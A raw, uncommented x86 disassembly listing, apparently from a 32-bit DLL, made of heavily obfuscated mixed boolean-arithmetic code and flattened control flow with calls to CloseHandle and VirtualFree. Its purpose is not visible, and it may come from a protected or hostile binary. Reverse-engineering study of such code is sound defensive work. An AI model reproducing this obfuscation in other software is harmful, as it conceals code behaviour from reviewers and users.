mov ebp, dword [esp + 0x18]
or ebp, edx
and edx, 0x60b1468e
and eax, 0x1e06b170
or eax, edx
xor eax, dword [esp + 0x18]
not ebp
xor eax, 0x9f4eb971
or eax, ebp
mov edx, ecx
not edx
mov ebp, edx
and edx, 0x4d72664f
and ecx, 0xb28d99b0
or ecx, edx
mov edx, ebx
not edx
or ebp, edx
and edx, 0x4d72664f
and ebx, 0xb28d99b0
or ebx, edx
xor ebx, ecx
not ebp
or ebx, ebp
xor ebx, eax
mov eax, esi
xor eax, 0x2b0c7868
or edi, dword [esp + 4]
xor esi, 0xd4d38307
mov ecx, esi
and ecx, 0xd0200691
and eax, 0x2fdff96e
or eax, ecx
xor eax, edi
xor eax, 0x2fdff96e
or esi, edi
not esi
or esi, eax
mov ecx, esi
not ecx
and esi, 0x313ab22e
and ecx, 0xcec54dd1
or ecx, esi
mov eax, ecx
xor eax, 0x1102004
xor ecx, 0xcec54dd1
mov edx, ecx
and edx, 0x366adbfa
and eax, 0xc9952405
or eax, edx
xor eax, 0x366adbfa
xor ecx, eax
and ecx, eax
mov eax, ebx
xor eax, 0x8b2b90d0
and eax, ebx
mov esi, ebx
not esi
mov edx, ecx
not edx
mov edi, ecx
xor edi, 0x8b2b90d0
and edi, edx
or edx, esi
and esi, 0x8b2b90d0
or eax, esi
and ecx, 0x74d46f2f
or ecx, edi
xor ecx, eax
mov esi, edx
not esi
mov eax, ecx
not eax
mov edi, eax
and edi, 0xf03bb89a
and ecx, 0xfc44765
or ecx, edi
or eax, edx
and edx, 0xf03bb89a
and esi, 0xfc44765
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov ebp, eax
not ebp
mov edx, eax
and edx, 0x41d4cc45
mov ecx, ebp
and ecx, 0xbe2b33ba
or ecx, edx
mov edx, ecx
xor edx, 0xc00801
xor ecx, 0xbe2b33ba
and edx, 0x8ce31b01
mov esi, ecx
and esi, 0x731ce4fe
or esi, edx
mov ebx, dword [esp]
mov edi, ebx
xor esi, 0xcefe4a47
and ecx, 0x421d5146
or ecx, esi
mov edx, ecx
not edx
mov esi, ebp
or esi, 0x3c020ca9
and eax, 0x11100
and esi, 0x7e1e4cef
or esi, eax
mov eax, esi
xor eax, 0x7e1e4cef
xor esi, 0x81e1b310
and eax, ecx
or ecx, esi
not ecx
and esi, edx
or esi, eax
or esi, ecx
mov eax, esi
not eax
mov edx, esi
or edx, 0x88400008
mov ecx, eax
and edx, 0xb8400109
and eax, 0x41ba4b0
or eax, edx
mov edx, ebx
or ecx, 0x30000101
and ecx, 0xb8400109
and esi, 0x43a45a46
or esi, ecx
mov ebx, dword [esp + 8]
and edi, ebx
mov ebp, ebx
and edx, 0x2c73efb0
mov ecx, ebx
and ebx, 0xd38c104f
or ebx, edx
xor ebx, 0x930cde38
mov edx, dword [esp]
or ebx, edx
xor esi, eax
mov eax, edi
not eax
and ebp, 0x438885f4
and edx, 0xbc777a0b
or edx, ebp
or ecx, eax
and eax, 0x438885f4
and edi, 0xbc777a0b
or edi, eax
xor edi, edx
not ecx
or ecx, edi
mov edi, ecx
not edi
and ecx, 0xd5d8307e
and edi, 0x2a27cf81
or edi, ecx
mov eax, edi
xor eax, 0x9558fe09
xor edi, 0x2a27cf81
and edi, eax
mov eax, edi
not eax
xor edi, eax
and edi, ebx
xor edi, eax
or eax, ebx
not eax
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x15751180
mov edx, edi
and edx, 0xaa0a2008
or edx, ecx
mov ecx, edx
xor ecx, 0xa80a2008
xor edx, 0x40a15982
or eax, 0x2211180
and edx, 0x42a15982
and ecx, 0xbd5e2008
or ecx, edx
and eax, 0x42a15982
and edi, 0x8675
or edi, eax
xor edi, ecx
mov dword [esp + 4], esi
mov ecx, esi
not ecx
mov eax, ecx
mov ebx, ecx
and eax, 0x6ded4bad
mov edx, esi
and edx, 0x9212b452
or edx, eax
xor edx, 0x9212b452
mov dword [esp + 8], ecx
and ecx, esi
or ecx, edx
mov esi, edi
mov edx, edi
not edx
mov eax, edx
and eax, 0x4b1a1eaa
and esi, 0xb4e5e155
or esi, eax
mov ebp, esi
mov eax, edi
xor eax, 0x10ee5ec2
and eax, edi
xor ebp, ecx
xor ebp, 0x4b1a1eaa
or ebp, edx
and edx, 0x87233e1d
and edi, 0x78dcc1e2
or edi, edx
mov ecx, edi
xor ecx, 0x8000c0
xor edi, 0x221e00
mov edx, edi
or edx, 0xc010a138
and edx, 0xd05ef93a
and ecx, 0xa006c0
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0xd05ef93a
and eax, 0x2fa106c5
or eax, edx
xor eax, ecx
not edi
or edi, eax
not eax
and eax, 0xef11a13d
and edi, 0x10ee5ec2
or edi, eax
not edi
or edi, ebx
mov eax, edi
and eax, 0x626036ff
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x9d9fc900
or ecx, eax
mov dword [esp + 0x18], ecx
mov dword [esp], ebp
mov ebx, ebp
xor ebx, 0xdb7dd43
mov ecx, ebx
and ecx, ebp
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0xe90bae5e
and ecx, 0x16f451a1
or ecx, eax
mov edx, dword [esp]
not edx
and ebx, edx
mov eax, ebx
not eax
or ebp, eax
and eax, 0xe90bae5e
and ebx, 0x16f451a1
or ebx, eax
xor ebx, ecx
not ebp
or ebp, ebx
mov eax, dword [esp + 0x18]
mov ebx, eax
xor ebx, 0x9d9fc900
xor eax, 0x626036ff
mov dword [esp + 0x18], eax
or eax, 0x8015140
and eax, 0x7849536c
mov ecx, ebx
and ecx, 0x82002090
or ecx, eax
or edi, 0x7048022c
and edi, 0x7849536c
and esi, 0x5b68c03
or esi, edi
xor esi, ecx
xor esi, ebp
mov eax, edx
and eax, 0x238e33b6
mov ecx, dword [esp]
and ecx, 0xdc71cc49
or ecx, eax
mov eax, dword [esp + 0x18]
or edx, eax
and eax, 0x238e33b6
and ebx, 0xdc71cc49
or ebx, eax
xor ebx, ecx
not edx
or edx, ebx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xcaceb7be
and esi, 0x35314841
or esi, eax
xor esi, edx
xor esi, 0x35314841
or ecx, edx
not ecx
or ecx, esi
mov edx, dword [esp + 8]
and edx, 0xdd3aa436
mov eax, dword [esp + 4]
and eax, 0x22c55bc9
or eax, edx
mov edx, eax
xor edx, 0x404080
xor eax, 0x9d3a0000
and eax, 0xbfbf1b49
and edx, 0x4040e4b6
or edx, eax
mov esi, edx
xor esi, 0xbfbf1b49
mov eax, ecx
not eax
mov edi, edx
xor edi, 0x40404486
and edi, 0xdb6e4d8e
xor edx, 0x64d156c7
and edx, esi
or edx, edi
mov esi, ecx
or esi, 0x81b270
and esi, 0x4187b77e
mov edi, eax
and edi, 0x9a684880
or edi, esi
mov esi, eax
or esi, 0x4106050e
xor edi, edx
and esi, 0x4187b77e
mov edx, ecx
and edx, 0x24100001
or edx, esi
xor edx, edi
mov esi, edx
not esi
mov edi, esi
and edi, 0xf20d0ee7
and edx, 0xdf2f118
or edx, edi
and ecx, 0xf20d0ee7
and eax, 0xdf2f118
or eax, ecx
xor eax, edx
xor esi, eax
test esi, eax
setne al
sete ah
cmp dword [0x10047904], 0xa
setl cl
setge bl
mov byte [esp + 0x18], bl
mov edx, ebx
inc dl
or dl, bl
mov dh, dl
xor dh, 1
mov ch, bl
xor ch, dh
and ch, dh
and dl, cl
and dh, bl
or dh, dl
mov dl, ch
xor dl, 1
and dl, dh
xor dh, 1
mov bl, ch
xor bl, dh
and bl, ch
and dh, ch
or dh, dl
or dh, bl
mov bh, dh
xor bh, 1
mov bl, bh
and bl, dh
mov ch, al
xor ch, bh
and ch, ah
or bh, ah
xor bh, 1
or ch, bh
xor ch, 1
or ch, al
xor bl, 1
mov dl, bl
xor dl, dh
or bl, dh
xor bl, 1
or bl, dl
mov dl, bl
xor dl, 1
and dl, ah
and bl, al
or bl, dl
xor dh, al
or dh, bh
xor dh, 1
or dh, bl
xor dh, 1
mov al, ch
xor al, dh
or dh, ch
mov dl, al
xor dl, 1
mov ebx, edx
and bl, ch
xor bl, 1
mov bh, bl
xor bh, dh
or bl, dh
xor bl, 1
or bl, bh
and ch, al
mov bh, ch
xor ch, dl
mov dh, ah
inc dh
xor bh, 1
or bh, al
xor bh, 1
or bh, ch
mov al, bh
xor al, 1
mov dl, bh
and dl, bl
xor bl, 1
and al, bl
or al, dl
or bl, bh
xor al, 1
mov dl, al
xor dl, bl
or al, bl
xor al, 1
or al, dl
movzx ebx, byte [esp + 0x18]
and ah, bl
and cl, dh
or cl, ah
mov dl, bl
or dl, dh
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov ch, cl
xor ch, 1
mov ah, bl
xor ah, dh
and dh, ah
and ah, bl
xor dh, 1
xor ah, 1
mov dl, dh
xor dl, ah
or ah, dh
xor ah, 1
or ah, dl
mov dh, ah
xor dh, 1
mov bl, ch
and bl, cl
xor bl, 1
or bl, cl
xor bl, 1
or bl, ch
xor bl, 1
mov bh, ah
or bh, bl
mov dl, dh
xor dl, bl
and dl, bl
xor dl, 1
mov bl, bh
xor bl, dl
or dl, bh
xor dl, 1
or dl, bl
and dh, ch
and cl, ah
or cl, dh
or ah, ch
xor cl, 1
mov ch, cl
xor ch, ah
or cl, ah
xor cl, 1
or cl, ch
xor cl, dl
and dl, cl
xor dl, 1
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov ecx, edx
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, cl
xor ah, 1
mov dl, ah
xor dl, cl
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
inc dl
and dl, ah
xor dl, 1
mov cl, ah
xor cl, dl
or dl, ah
xor dl, 1
or dl, cl
mov ch, dl
xor ch, 1
mov ah, al
xor ah, 1
mov cl, ah
and cl, al
xor cl, 1
mov dh, al
xor dh, cl
or cl, al
xor cl, 1
or cl, dh
mov dh, cl
xor dh, 1
and dh, ch
and cl, dl
or cl, dh
xor dl, al
xor cl, 1
or cl, ah
or ah, ch
mov al, ah
xor al, 1
or al, dl
mov edx, eax
or dl, ah
xor al, ah
mov ah, cl
xor ah, 1
xor dl, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
and ah, al
or ah, dl
mov dl, ah
xor dl, cl
and dl, ah
xor dl, 1
xor al, cl
mov ecx, edx
or cl, al
xor al, dl
mov edx, eax
xor dl, cl
test al, 1
mov edi, 0x902380c1
mov eax, 0x11cc8572
cmovne edi, eax
test cl, 1
mov ecx, 0x902380c1
cmovne edi, ecx
test dl, 1
cmove edi, eax
mov dword [esp + 0x18], 0
jmp 0x10008b80
cmp edi, 0x19c3b03f
je 0x1001e469
cmp edi, 0x1d77f471
jne 0x10008b80
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x6911691b
mov dword [esp + 0x18], 1
jmp 0x10008b80
cmp edi, 0x8d74973c
je 0x1001e483
cmp edi, 0x902380c1
jne 0x10008b80
mov edi, 0x8cd9c7b
mov dword [esp + 0x18], 0
jmp 0x10008b80
cmp edi, 0x5996fb17
je 0x1001e49a
cmp edi, 0x62428c9c
jne 0x10008b80
mov eax, dword [0x10047900]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
mov edi, ecx
and eax, 0xc40eded1
mov ecx, edx
mov esi, edx
and ecx, 0x3bf1212e
or ecx, eax
mov eax, ecx
xor eax, 0x80025c01
xor ecx, 0x1b21200a
and ecx, 0x5f2da2da
and eax, 0xa0d25d25
or eax, ecx
mov ecx, eax
xor ecx, 0x20c00805
mov edx, eax
xor edx, 0x5f2da2da
and ecx, 0x2eed0a8f
xor eax, 0x71c0a855
and eax, edx
or eax, ecx
mov ebx, eax
xor ebx, 0x2eed0a8f
xor eax, 0xd112f570
and eax, 0xfffffffe
mov ecx, ebx
and ecx, 1
or ecx, eax
or ebx, 0xfffffffe
mov eax, ecx
not eax
mov edx, ebx
and edx, 0xaf13495f
or ebx, eax
and eax, 0xaf13495f
and ecx, 0x50ecb6a0
or ecx, eax
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, esi
mov edx, esi
mov dword [esp], esi
and ecx, 0xd440edf4
mov eax, edi
and eax, 0x2bbf120a
or eax, ecx
mov ecx, eax
xor ecx, 0x293b0202
xor eax, 0x4400a584
mov esi, edi
mov dword [esp + 4], edi
or esi, 0x4684b58c
and eax, 0x4684b58c
and ecx, 0xb97b4a72
or ecx, eax
and esi, 0x4684b58d
xor esi, ecx
mov eax, esi
not eax
mov ecx, esi
and ecx, 0x5ea28faf
and eax, 0xa15d7050
or eax, ecx
mov ecx, edi
and ecx, 0x5ea28faf
and edx, 0xa15d7050
or edx, ecx
mov ebp, ebx
not ebp
mov dword [esp + 0x20], ebp
xor edx, eax
or esi, edi
not esi
or esi, edx
mov dword [esp + 0x1c], esi
mov eax, ebp
or eax, 0x1880748
and eax, 0xd9eefda
mov ecx, ebx
and ecx, 0x50410021
or ecx, eax
mov eax, ebx
xor eax, 0xa3a8174c
and eax, ebp
mov edx, eax
not edx
mov edi, ebp
or edi, edx
and edx, 0xd9eefda
and eax, 0xf2611025
or eax, edx
xor eax, ecx
not edi
or edi, eax
not eax
and eax, 0xa3a8174c
and edi, 0x5c57e8b3
or edi, eax
mov dword [esp + 8], edi
mov ecx, edi
not ecx
mov eax, ecx
mov ebp, ecx
mov dword [esp + 0xc], ecx
and eax, 0x158a53a3
mov ecx, edi
and ecx, 0xea75ac5c
or ecx, eax
xor ecx, 0x11fca21
mov edx, ecx
xor edx, ebp
and edx, ecx
mov ebp, esi
not ebp
mov dword [esp + 0x10], ebp
mov eax, ebp
and eax, 0x14959982
mov ecx, esi
and ecx, 0xeb6a667d
or ecx, eax
mov eax, ecx
xor eax, ebp
and eax, ecx
mov dword [esp + 0x14], eax
mov eax, esi
and eax, 0x41447384
and ebp, 0xbebb8c7b
or ebp, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xdb5de562
mov edi, edx
and edi, 0x24a21a9d
or edi, ecx
mov dword [esp + 0x30], edi
mov ecx, edi
xor ecx, 0x24a21a9d
mov dword [esp + 0x24], ecx
xor edi, 0x9d6a4c76
and edi, ecx
mov ecx, edi
not ecx
mov esi, ecx
and esi, 0xf2eeae1c
and edi, 0xd1151e3
or edi, esi
or eax, 0x4637a914
or ecx, eax
and eax, 0xf2eeae1c
and edx, 0x90050e3
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov eax, ebx
or eax, 0xeb6a667d
mov edi, eax
xor edi, 0xb9c856eb
and edi, eax
mov edx, edi
not edx
mov esi, edx
and esi, 0x390099ab
and edi, 0x6952010
or edi, esi
or ebx, 0xef7fef7d
or edx, ebx
and ebx, 0x792299af
mov esi, dword [esp + 0x20]
and esi, 0x800000
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov ebx, edx
xor ebx, edx
not ebx
and ebx, ecx
xor ebx, edx
mov edx, dword [esp + 0x30]
xor edx, 0xdb5de562
mov ecx, edx
and ecx, 0x5ea8a79
mov esi, dword [esp + 0x24]
and esi, 0xfa157586
or esi, ecx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0x4808800
and eax, 0xfa157586
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov esi, ebx
not esi
mov eax, esi
and eax, 0xce1c0b47
and ebx, 0x31e3f4b8
or ebx, eax
xor ebx, edx
or esi, edx
xor ebx, 0x31e3f4b8
not esi
or esi, ebx
xor ebp, 0x55d1ea06
mov edi, dword [esp + 0x1c]
or ebp, edi
mov eax, dword [esp + 0x14]
xor ebp, eax
and eax, ebp
not ebp
or ebp, eax
mov eax, ebp
not eax
mov ecx, ebp
or ecx, 0x28600008
and ecx, 0x7ceb718b
mov edx, eax
and eax, 0x82100250
or eax, ecx
or edx, 0x548b7183
and edx, 0x7ceb718b
and ebp, 0x1048c24
or ebp, edx
xor ebp, eax
xor esi, 0xd69b73d3
mov eax, ebp
xor eax, ebp
not eax
and eax, esi
xor eax, ebp
mov edx, dword [esp + 0xc]
mov ecx, edx
and edx, 0x4163942d
mov esi, edx
mov edx, dword [esp + 8]
and edx, 0xbe9c6bd2
or edx, esi
mov esi, dword [esp + 0x10]
or ecx, esi
and esi, 0x4163942d
and edi, 0xbe9c6bd2
or edi, esi
xor edi, edx
mov edx, edi
not edx
mov esi, edx
and esi, 0xe6c8f110
and edi, 0x19370eef
or edi, esi
xor edi, ecx
xor edi, 0x19370eef
or edx, ecx
not edx
or edx, edi
mov ecx, edx
not ecx
mov esi, edx
and esi, 0xf2ea22a6
and ecx, 0xd15dd59
or ecx, esi
xor ecx, 0xd15dd59
or ecx, edx
xor ecx, eax
and eax, ecx
not ecx
or ecx, eax
mov edx, ecx
not edx
and ecx, 0x9615f5ab
and edx, 0x69ea0a54
or edx, ecx
mov eax, edx
xor eax, 0x40044a2
xor edx, 0x9c80244
and eax, 0x64224cb2
and edx, 0x9bddb34d
or edx, eax
mov ecx, edx
xor ecx, 0x9bddb34d
mov ebx, dword [esp + 4]
mov eax, ebx
or eax, 0x71088848
mov esi, dword [esp]
and esi, 0x84541593
and eax, 0x73a8e86c
or eax, esi
mov esi, eax
xor esi, 0x73a8e86c
and ebx, 0x790b8a48
xor eax, 0x84541593
and eax, esi
or ebx, esi
or ebx, eax
mov eax, ebx
not eax
mov esi, eax
and esi, 0x44563260
mov edi, ebx
and edi, 0xbba9cd9f
or edi, esi
mov esi, edi
xor esi, 0x10883
xor edi, 0x120060
or eax, 0x981a806c
or edi, 0x46a01100
and edi, 0xdeba916c
and esi, 0x410883
or esi, edi
and eax, 0xdeba916c
mov edi, ebx
and edi, 0x21046610
or edi, eax
xor edi, esi
mov eax, edi
xor eax, 0xe15002a7
mov esi, edi
mov ebp, edi
xor esi, 0x1eaffd58
mov edi, edx
xor edi, 0x64224cb2
xor ebp, 0xb0ca6551
and ebp, esi
mov ebx, esi
and ebx, edi
mov esi, ecx
and esi, eax
or esi, ebx
not esi
or esi, edi
xor edx, 0xca47d4bb
and edx, ecx
or ecx, 0xae659809
and eax, 0xae659809
or eax, ebp
mov ebx, edx
not ebx
mov ebp, ecx
and ebp, 0xc5468197
and edi, 0x10986660
or edi, ebp
or ecx, ebx
and ebx, 0xc5468197
and edx, 0x3ab97e68
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
xor ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x2815e372
and eax, edx
and ecx, 0xd7ea1c8d
or ecx, eax
xor ecx, esi
xor ecx, 0xd7ea1c8d
or edx, esi
not edx
or edx, ecx
mov ecx, edx
not ecx
mov eax, edx
mov esi, ecx
and esi, 0x5a2924d1
and edx, 0xa5d6db2e
or edx, esi
not edx
or edx, ecx
and ecx, 0x996093e3
and eax, 0x669f6c1c
or eax, ecx
mov ecx, eax
xor ecx, 0x60050804
xor eax, 0x910013c2
and eax, 0x979a77da
and ecx, 0x68658825
or ecx, eax
mov eax, ecx
xor eax, 0x3085388
xor ecx, 0x28600804
and ecx, 0xbcf22c56
and eax, 0x430dd3a9
or eax, ecx
mov edi, eax
xor edi, 0x42090081
mov dword [esp + 4], edi
or edi, 0xa5d6db2e
mov dword [esp], edi
mov ebx, edx
not ebx
mov esi, edx
and esi, 0x4dbfffdb
xor edx, 0xeb838313
and edx, ebx
and ebx, 0xb2400024
or ebx, esi
mov ebp, ebx
xor ebp, 0xb2400024
mov esi, ebx
xor esi, 0x59c38337
and esi, ebp
or edx, esi
not edi
mov esi, edi
or esi, 0x8000001
and esi, 0x18080081
mov ecx, dword [esp]
and ecx, 0x206448
or ecx, esi
mov esi, dword [esp + 4]
or esi, 0x145c1884
xor eax, 0x10
and esi, 0x1c5c1885
and eax, 0x42010010
or eax, esi
xor eax, edx
xor eax, ecx
mov ecx, edi
and ecx, 0x52080011
mov edx, dword [esp]
and edx, 0x8df56ec6
or edx, ecx
mov ecx, edx
xor ebx, 0x4dbfffdb
or edi, ebx
and ebx, 0x720a9139
and ebp, 0x8df56ec6
or ebp, ebx
mov edx, eax
xor edx, 0x20
xor ebp, ecx
not edi
or edi, ebp
xor eax, 0xffffffdf
mov ecx, eax
and ecx, 0x8b3f0a5f
and edx, 0x74c0f5a0
or edx, ecx
xor edx, edi
xor edx, 0x74c0f5a0
or eax, edi
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xa5d6db2e
xor eax, 0x5a2924d1
mov esi, eax
and esi, 0x140244
mov edx, ecx
and edx, 0xd6825501
or edx, esi
mov esi, edx
xor esi, 0x56005500
xor edx, 0x29788874
mov edi, eax
or edi, 0x80920045
and edx, 0xa9fa8875
and esi, 0x56045700
or esi, edx
and edi, 0xa9fa8875
mov edx, ecx
and edx, 0x1208a
or edx, edi
xor edx, esi
mov esi, edx
xor esi, 0xd6965745
and eax, 0xca286f68
and ecx, 0x35d79097
or ecx, eax
mov eax, ecx
xor eax, 0x35d79097
xor edx, 0x2969a8ba
and eax, edx
xor ecx, 0xca286f68
and ecx, esi
or ecx, eax
not ecx
or ecx, edx
xor ecx, 0xffffffff
setne cl
sete dl
cmp dword [0x10047904], 0xa
setge ah
setl ch
mov al, ch
or al, dl
xor al, 1
mov dh, ah
or dh, cl
xor dh, 1
mov ebx, eax
xor bl, dh
or dh, al
xor dh, 1
or dh, bl
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
mov bh, ch
or bh, dh
mov al, bl
xor al, ch
and al, dh
xor al, 1
mov dh, bh
xor dh, al
or al, bh
xor al, 1
or al, dh
xor al, 1
or al, bl
mov bl, ch
inc bl
mov dh, bl
and dh, ch
mov bh, bl
xor bh, dh
xor dh, 1
or dh, ch
xor dh, 1
or dh, bh
xor dh, 1
mov bh, dh
xor bh, bl
or dh, bl
xor dh, 1
or dh, bh
mov bh, dh
xor bh, 1
mov bl, bh
and bl, dh
xor bh, bl
xor bl, 1
or bl, dh
xor bl, 1
or bl, bh
mov bh, bl
xor bh, 1
mov dh, bl
and dh, bh
xor dh, 1
or dh, bh
xor dh, 1
or dh, bl
and ch, dh
xor dh, 1
and dh, ah
or dh, ch
mov ch, ah
xor ch, bl
or bl, ah
xor bl, 1
or bl, ch
xor dh, 1
mov ah, dh
xor ah, bl
or dh, bl
xor dh, 1
or dh, ah
mov ch, dh
xor ch, 1
mov ebx, ecx
xor bl, ch
mov ah, cl
or ah, ch
xor ah, 1
or ah, bl
and cl, ch
and dh, dl
or dh, cl
xor dh, 1
or dh, ch
mov cl, dh
xor cl, 1
and cl, ah
xor ah, 1
mov dl, ah
xor dl, dh
and dl, ah
and dh, ah
or dh, cl
mov ecx, edx
xor cl, 1
xor dl, dh
xor dh, 1
or dh, cl
xor dh, 1
or dh, dl
mov ch, dh
xor ch, 1
mov ah, ch
or ah, al
mov dl, ah
xor dl, 1
mov cl, ch
and cl, dh
xor ch, cl
xor cl, 1
or cl, dh
xor cl, 1
or cl, ch
mov ch, cl
xor ch, 1
and cl, ch
xor cl, 1
mov dh, cl
xor dh, ch
or cl, ch
xor cl, 1
or cl, dh
xor cl, al
mov ch, cl
xor ch, 1
mov dh, dl
and dh, ah
xor dh, 1
mov al, dh
xor al, ah
or dh, ah
xor dh, 1
or dh, al
mov al, cl
and al, ch
xor al, 1
mov ebx, eax
xor bl, ch
or al, ch
xor al, 1
or al, bl
mov bl, dh
xor bl, 1
and bl, al
xor al, 1
and al, dh
or al, bl
and ch, dl
or dl, cl
and cl, ah
or cl, ch
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov edx, eax
xor dl, 1
and cl, al
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov al, ah
xor al, dl
test al, 1
mov ecx, 0x8cd9c7b
mov esi, 0x902380c1
cmovne ecx, esi
test ah, 1
mov edi, 0x8cd9c7b
cmovne edi, ecx
jmp 0x10012b7d
cmp edi, 0xb8300f85
je 0x1001e4b6
cmp edi, 0xbd6664e9
jne 0x10008b80
push 0x8000
push 0
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x10047900]
lea ecx, [eax + 1]
imul ecx, eax
mov edi, ecx
not edi
mov eax, ecx
or eax, 0xe1100224
mov edx, edi
or edx, 0xc4888c1
and eax, 0xed588ae5
mov esi, edi
mov ebx, edi
and esi, 0x283141a
or esi, eax
and edx, 0xed588ae5
mov eax, ecx
and eax, 0x10246100
or eax, edx
xor eax, esi
mov edx, eax
xor edx, 0xe1002000
xor eax, 0x60b08c2
and eax, 0x163f4be6
and edx, 0xe9c0b419
or edx, eax
mov eax, edx
xor eax, 0x1008018
xor edx, 0x6130aa6
and eax, 0x112cc158
and edx, 0xeed33ea7
or edx, eax
mov edi, edx
xor edi, 0x112cc158
mov esi, ebx
mov ebp, ebx
mov dword [esp], ebx
and esi, ecx
mov eax, edx
xor eax, 0x8022602
and eax, 0x8226602
xor edx, 0xcb1ab66b
and edx, edi
and edi, 0xd2141131
or edi, eax
mov eax, edi
xor eax, 0x90040010
xor edi, 0x2debeece
mov ebx, edi
and ebx, 0x42b27b29
and eax, 0x98040412
or eax, ebx
mov ebx, edx
not ebx
or edi, ebx
and ebx, 0x42b27b29
and edx, 0xbd4d84d6
or edx, ebx
xor edx, eax
not edi
or edi, edx
mov eax, edi
xor eax, 0x25c988cc
xor edi, 0x92340633
mov ebx, eax
and ebx, 1
and edi, 0x96348e3b
and eax, 0x69cb71c4
or eax, edi
mov edx, eax
xor edx, 0x96348e3a
or edx, ebx
xor eax, 0x4b7184
and eax, 0x967ffd84
mov edi, edx
xor edi, 0xf3d4ae9b
and edi, edx
and edx, 0x6980027b
or edx, eax
mov eax, edx
xor eax, 0x61800203
xor edx, 0x9254ac80
mov ebx, edx
or ebx, 0x8210024
and ebx, 0x982188bc
and eax, 0x63d42603
or eax, ebx
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0x982188bc
and edi, 0x67de7743
or edi, ebx
xor edi, eax
not edx
or edx, edi
not edi
and edi, 0xc2b5164
and edx, 0xf3d4ae9b
or edx, edi
mov edi, esi
not edi
mov dword [esp + 4], ecx
mov eax, ecx
and eax, 0xc558e4bb
mov ebx, ebp
and ebx, 0x3aa71b44
or ebx, eax
mov eax, ecx
or eax, edi
and edi, 0xc558e4bb
and esi, 0x3aa71b44
or esi, edi
xor esi, ebx
not eax
or eax, esi
mov ebp, eax
not ebp
mov esi, ebp
and esi, 0xe8ad1e0c
mov edi, ebp
or edi, 0xe8ad1e0c
mov ebx, edi
not ebx
or ebx, esi
and edi, 0x1752e1f2
and ebx, 0xe8ad1e0d
or ebx, edi
and eax, 0x59c2955b
mov edi, ebp
and edi, 0xa63d6aa4
or edi, eax
mov eax, edi
xor eax, 0x59c2955a
and ebp, 1
or ebp, eax
mov esi, ebx
not esi
mov eax, esi
and eax, 0xce46ced7
and ebx, 0x31b93128
or ebx, eax
xor edi, 0x20392020
or esi, ebp
and ebp, 0xce46ced7
and edi, 0x31b93128
or edi, ebp
xor edi, ebx
not esi
or esi, edi
mov edi, esi
or edi, 0x405d02c9
mov ebx, esi
not ebx
mov eax, esi
xor eax, 0xbe002816
and eax, esi
and edi, 0xc65d2ad9
and ebx, 0x38000006
or ebx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0xc65d2ad9
and eax, 0x39a2d526
or eax, edi
mov edi, edx
not edi
xor eax, ebx
not esi
or esi, eax
not eax
and eax, 0x41ffd7e9
and esi, 0xbe002816
or esi, eax
mov eax, esi
not eax
and esi, 0xc33a2619
and eax, 0x3cc5d9e6
or eax, esi
mov ebx, eax
xor ebx, 0xc2200408
xor eax, 0x30408040
and eax, 0x315aa251
and ebx, 0xcea55dae
or ebx, eax
mov ecx, ebx
xor ecx, 0xcea55dae
xor ebx, 0x315aa251
mov eax, edi
or ecx, edi
or edi, ebx
and eax, 0xb1f7eeeb
and edx, 0x4e081114
or edx, eax
mov eax, edi
not eax
xor edx, 0xb1f7eeeb
or edx, ebx
not edx
not ecx
or ecx, edx
mov ebx, edi
and ebx, 0xab58f698
xor edi, 0x615b763b
and edi, eax
mov edx, eax
and edx, 0x54a70967
or edx, ebx
mov ebp, edx
xor ebp, 0x54a70967
mov eax, edx
xor eax, 0x35fc7f5c
and eax, ebp
or edi, eax
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x9ea489c4
mov esi, ecx
xor esi, 0x9ea489c4
and esi, ecx
or esi, eax
mov eax, esi
xor eax, esi
not eax
and eax, edi
xor eax, esi
xor edx, 0xab58f698
mov esi, edx
and esi, 0x4efe68e4
and ebp, 0xb101971b
or ebp, esi
or edx, ecx
and ecx, 0x4efe68e4
and ebx, 0xb101971b
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
not edx
or edx, eax
mov eax, dword [esp]
and eax, 0x449cd940
mov ebp, dword [esp + 4]
and ebp, 0xbb6326bf
or ebp, eax
mov eax, ebp
